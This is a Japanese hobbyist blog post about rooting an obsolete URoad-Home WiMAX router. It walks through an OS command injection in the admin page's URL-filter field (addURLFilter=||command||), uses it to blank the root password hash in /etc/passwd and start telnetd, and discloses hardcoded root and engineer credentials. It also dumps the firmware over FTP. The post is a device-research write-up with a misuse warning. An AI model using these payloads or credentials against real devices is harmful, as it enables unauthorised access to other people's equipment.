目次
はじめに
前回の記事でフラッシュのダンプを取ったということで今回はroot権限の奪取とその後の解析です。
URoad-Home関係の記事の一覧と概要はこちら
危険性について
今回使用するのは、webの管理者画面から脆弱性をついて行うOSコマンドインジェクションです。今更こんな、停波したWiMaxで、しかも2011年のルータを使う人なぞ1人もいないと思いますが、
悪用厳禁
です。他人に迷惑をかけるようなことはやめましょう。
大まかな流れ
実行したファームウェアバージョンは1.2.6.1です。
Web管理者画面→ファイアーウォール→コンテンツフィルタ設定→URL制限にて、ブラウザのディベロッパーツールを使用してペイロードを||コマンド||
とすると、そのコマンドが実行されます。
それを利用して、/etc/passwdファイルの中身を書き換えてパスワードを無効化します。
コマンドインジェクションの手順
わざわざこれを行わなくてもrootのパスワードが判明した(パスワード:cldn09cjsdhkd)のでコンソールにログインできます。加えて、コマンドインジェクションをaddURLFilter=||telnetd||
のみ実行することでUARTでの接続なく、コンソールに入ることができます。
0. UARTでログを見れるようにする
URoad-Homeを分解してみた2を参考にしてログを見れるようにしてください。
1. FirefoxでWeb管理者画面に入る
192.169.100.254にアクセスします。ユーザ・パスワードはどちらもadminです。
FireFoxで開くのは、Web開発ツールが使いやすいからです。
2. Web開発ツールを開く
開いたあとネットワークを押してください。
3. ファイアウォール→コンテンツフィルタ設定で適当なものを送る
設定済みURLフィルタで送った文字が出てたら問題ないです。
4. Web開発ツールで送られたパケットを見つける
メソッドがPOSTのものを下から探してみてください。要求がaddURLFilterから始まっているはずです。
5. パケットを編集して再送する
見つけたものを右クリックして、編集して再送信を押します。ボディをaddURLFilter=||cat /etc/passwd||
とし、送信します。
6. UARTのログ(コンソール)で確認する
多分、root:lvycugpDnb8/2:0:0:Adminstrator:/:/bin/sh
とでます。もし、異なる場合は、出力されたroot:から、:0:0の間の文字列をコピーしておいてください。
7. 再びパケットを編集して再送する
5.と同じように、編集し、addURLFilter=||sed -i 's/lvycugpDnb8\/2//g' /etc/passwd||
とし、送信します。6.で文字列が異なった場合は、s/から//gの間を変更してください。
8. UARTのコンソールに入る
UARTのコンソールで適当なキーを押し、rootでログインします。パスワードは求められないはずです。
9. おまけ:telnetを有効にするaddURLFilter=||telnetd||
でパケットを送るとtelnetを有効にでき、遠隔で接続できます。
再起動してもパスワードは無効のままであり、telnetも自動で起動します。
仕組み
この方法は最も典型的なコマンドインジェクションだと思います。Linuxにてコマンドを実行する時に特定の文字、|、&、;、”、’、等は特殊な意味を持ちます。今回使用した||は前のコマンドに失敗したら実行するという意味です。今回の入力した文字列は、本来は、
iptables -A web_filter -p tcp -m tcp -m webstr –url 適当なURL -j REJECT –reject-with tcp-reset
と実行されますが、||が入ることによって、
iptables -A web_filter -p tcp -m tcp -m webstr –url ||コマンド|| -j REJECT –reject-with tcp-reset
というコマンドになり、なおかつ、iptables -A web_filter -p tcp -m tcp -m webstr –urlが中等半端に終わっているので、必ず失敗し、コマンドが実行されます。
ちなみに、なぜ ; では無いのかというと、;は対策済みでパケット送っても反映されなかったためです。
都合が良いことに、先程のコマンドは起動時に絶対に実行されるため、再起動すると変更が失われるramdiskに対しても有効であり、一度実行するだけで、パスワードから開放されます。
ログイン後の解析
コンソールに入れたので色々見てみます。
rootのパスワード
前回、展開したramdiskの/sbin/internet.shの中にこんな記述がありました。
そのため、nvram_get 2860 Password
を行ったところ、パスワードが判明しました。
cldn09cjsdhkd
でした。コマンドインジェクションのエントリーを消して実際にログインを試したところこのパスワードでログインできました。
Telnetの有効化
/sbin/security.shには、こんな記述があり、
実際にnvram_set 2860 EnableTelnet 1
を実行すると、起動時に自動でTelnetが立ち上がりました。
エンジニア用web管理画面
/etc_ro/web/engineer/というディレクトリが存在し、エンジニア専用管理者ページ的なのが見つかったので、ghidraで/bin/goaheadを解析してみると、
との記述があり、nvram_get 2860 webLoginEng
とnvram_get 2860 webPasswordEng
を試してみるとユーザー名はengineer、ur301tkaqlqjsでした。できることとしては、WiFiのリージョン設定やWiMaxの設定、自動更新用のURLの変更って感じです。Telnet有効化とかはありませんでした。
GPIO
gpioというコマンドがあったので少し調べてみました。完成度が低いのかわからないですが、動作が変で、単純なON/OFFができませんでした(使い方を間違えてるだけかも)。調べた感じこんな感じでした。
14・・・リセットがかかる
40・・・USB周り→WiMAXモジュールの5V?
41・・・電源緑LED
42・・・電源赤LED
43・・・WLANスイッチ
46・・・Wimax緑
48・・・Wimax青
49・・・WiFi赤
50・・・Wimax赤
ネットワークインターフェース
ip aの実行結果です。15個もインターフェースがあります。とても追いです。ra0、ra1が本体についているやつかなーって感じです。wm0はWiMaxだと思います。
おまけ:ファームウェアダンプ
前回の記事では、U-Bootのコンソールでmdを実行してダンプをしましたが、コンソールでもダンプできます。注意点としては、ddコマンドが無いので、busyboxをコピーする必要があります。
流れとしては、
ホストPCでbusybox(busybox-mipsel)をダウンロード
ホストPCでftpサーバをたてる。
サーバーに接続するcd /tmp
ftp ホストPCのIPアドレス
busyboxをコピーget busybox-mipsel
exit
busyboxに実行権限をつけるchmod 777 ./busybox-mipsel
ddコマンドを実行
./busybox-mipsel dd of=/tmp/mtdblock0.img if=/dev/mtdblock0
mtdblock0から5まであるので、それぞれ実行すること
ftpでアップロードftp ホストPCのIPアドレス
put mtdblock0.img
って感じです。
ちなみに自分は/etc_ro/web下にln -s /tmp /etc_ro/web/tmp
でシンボリックリンクを作ってホストPCにダウンロードしました。
今回のダンプは、すでにビッグエンディアンになっていてそのままbinwalkで読めます。
おわりに
なんかめちゃめちゃ面白かったです。コマンドインジェクションも初めてですし、ghidraも初めてまともに使いました。ただ、なんかハッカーって感じで少し嫌です。次はアップデートでもして、差を見てみます。
URoad-Home関係の記事の一覧と概要はこちら